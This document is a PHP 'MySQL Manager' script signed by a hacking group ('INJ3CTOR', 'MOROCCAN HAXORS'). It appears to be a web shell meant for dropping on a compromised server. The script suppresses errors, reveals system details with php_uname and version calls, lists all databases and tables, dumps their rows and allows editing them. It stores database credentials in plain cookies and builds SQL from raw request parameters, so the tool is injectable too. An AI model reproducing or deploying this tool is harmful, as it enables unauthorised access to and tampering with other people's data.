MySQL Database Manager

<?php
#INJ3CTOR_M4
if(isset($_POST['hstnm']) && isset($_POST['usrnm'])){
    $_COOKIE["hstnm"] = trim($_POST['hstnm']);
        /*AND*/ setcookie("hstnm", trim($_POST['hstnm']));
    $_COOKIE["usrnm"] = trim($_POST['usrnm']);
        /*AND*/ setcookie("usrnm", trim($_POST['usrnm']));
    if(isset($_POST['psswrd'])){
        $_COOKIE["psswrd"] = trim($_POST['psswrd']);
            /*AND*/ setcookie("psswrd", trim($_POST['psswrd']));
    }else{  $_COOKIE["psswrd"] == "";}
}
if(!isset($_COOKIE["hstnm"]) || !isset($_COOKIE["usrnm"])){
echo'
<center>
<img src="http://i.imgur.com/TotOzm6.jpg">
<br /><b><font size="3">MYSQL Manager.</b>
<br />`MOROCCAN HAXORS`</font>
<form method="POST">
<pre>
<b>Hostname:</b> <input name="hstnm" type="text" value="localhost"/>
<b>Username:</b> <input name="usrnm" type="text"/>
<b>Password:</b> <input name="psswrd" type="password"/><br />
<input type="submit" value="Login >>" />
</pre>
';
exit;
}
?>
<style>
body{
    font-family: "Courier";
    background-color: #F5F5F5;
    margin: 8;
}.input,select,textarea{
    border:1px solid #4F4F4F; font-family:Courier; font-size:14px;
}
</style>
<?php
@set_time_limit(0);
error_reporting(0);
# MySQL Info ---------
$hostname = $_COOKIE["hstnm"];
$db_user= $_COOKIE["usrnm"];
$db_pass= $_COOKIE["psswrd"];
$db_name="information_schema";
#---------------------

echo'
<center>
<table border="1" cellpadding="1" style="width: 100%; max-width: 1400px;">
<tr>
    <th>uname</th>
    <td><u><font size="2" color="green">'.php_uname().'</font></u></td>
</tr>
<tr>
    <th>PHP Version</th>
    <td><u><font size="2" color="green">'.phpversion().'</font></u></td>
</tr>
<tr>
    <th>MySQL Version</th>
    <td><u><font size="2" color="green">'.mysql_get_server_info().'</font></u></td>
</tr>
</table>
';
echo'
<table border="1" cellpadding="1" style="width: 100%; max-width: 1400px;">
<tr><td align="center"><b><font size="2">[ <a href="'.basename(__FILE__).'" >./HOME</a> ]</font></b></td></tr>
';

$conn = mysqli_connect($hostname, $db_user, $db_pass);
if(!$conn){ die("<tr><td align='center'>Connection failed: " . mysqli_connect_error()." </tr></td>");   }
if(!isset($_GET['db'])){
    $e = mysqli_query($conn, "SHOW DATABASES");
    while($row = mysqli_fetch_assoc($e)){
        $databases[]= $row['Database'];
    }
    mysqli_free_result($e);
    echo'</table><table border="1" cellpadding="1" style="width: 100%; max-width: 1400px;">';
    echo'<td>Database</td><td>Action</td>';
    foreach($databases as $database){
        echo'<tr><th align="left"><small>'.$database.'</small></th>';
        echo'<td><a href="?db='.$database.'" ><small>Afficher</small></a></td></tr>';
    }
}elseif(isset($_GET['db'])){
    $db = $_GET['db'];
    mysqli_select_db($conn, $db);
    $e = mysqli_query($conn, "SHOW TABLES");
    while($row = mysqli_fetch_assoc($e)){
        $tables[]= $row['Tables_in_'.$db];
    }
    mysqli_free_result($e);
    echo'</td></tr></table>';
    echo'<table border="1" cellpadding="1" style="width: 100%; max-width: 1400px;">';
    if(!isset($_GET['table'])){
        echo'<td>Table</td><td>Action</td>';
        foreach($tables as $table){
            echo'<tr><th align="left"><small>'.$table.'</small></th>';
            echo'<td><a href="?db='.$db.'&table='.$table.'" ><small>Afficher</small></a></td></tr>';
        }

    }elseif(isset($_GET['table'])){
        $table = $_GET['table'];
        $e = mysqli_query($conn, "show columns from $table");
        while($row = mysqli_fetch_assoc($e)){
            $columns[]= $row['Field'];
        }
        mysqli_free_result($e);
        if(isset($_GET['edit'])){
            $num=$_GET['edit'];
            echo'<tr>';
            foreach($columns as $column){
                echo"<td><small><b>$column</b></small></td>";
            }
            echo"</tr><tr>";
            $e = mysqli_query($conn, "SELECT * FROM `$table` LIMIT $num,1");
            $row = mysqli_fetch_array($e, MYSQL_NUM);
            for($i=0;$i<sizeof($row);$i++){
                echo"<td><small><form method='post'><input name='$columns[$i]$i' type='text' value='{$row[$i]}' /></small></td>";
            }
            echo'</tr></table><table border="1" cellpadding="1" style="width: 100%; max-width: 1400px;">';
            echo'<tr><td align="center"><a href="?db='.$db.'&table='.$table.'">[Quitter >>]</a></td><td align="center"><small><br /><input name="update" type="submit" value="Executer >>"></form></small></td></tr>';
            if(isset($_POST['update'])){
                for($i=0;$i<sizeof($row);$i++){
                    $e = mysqli_query($conn, "UPDATE `$db`.`$table` SET `{$columns[$i]}` = '".$_POST["$columns[$i]$i"]."' where {$columns['0']} = {$row['0']}");
                    mysqli_free_result($e);
                }
            }
        }elseif(!isset($_GET['edit'])){
            echo'<tr><td><small><b>#</b></small></td>';
            foreach($columns as $column){
                echo"<td><small><b>$column</b></small></td>";
            }
            echo'</tr>';
            $e = mysqli_query($conn, "SELECT * FROM `$table`");
            $count='0';
            while($row = mysqli_fetch_assoc($e)){
                echo'<tr><td><a href="?db='.$db.'&table='.$table.'&edit='.$count.'"><small>Edit</small></a></td>';
                foreach($columns as $column){
                    echo'<td><small>'.$row[$column].'</small></td>';
                }
                echo'</tr>';
                $count++;
            }
        }
    }
}
mysqli_close($conn);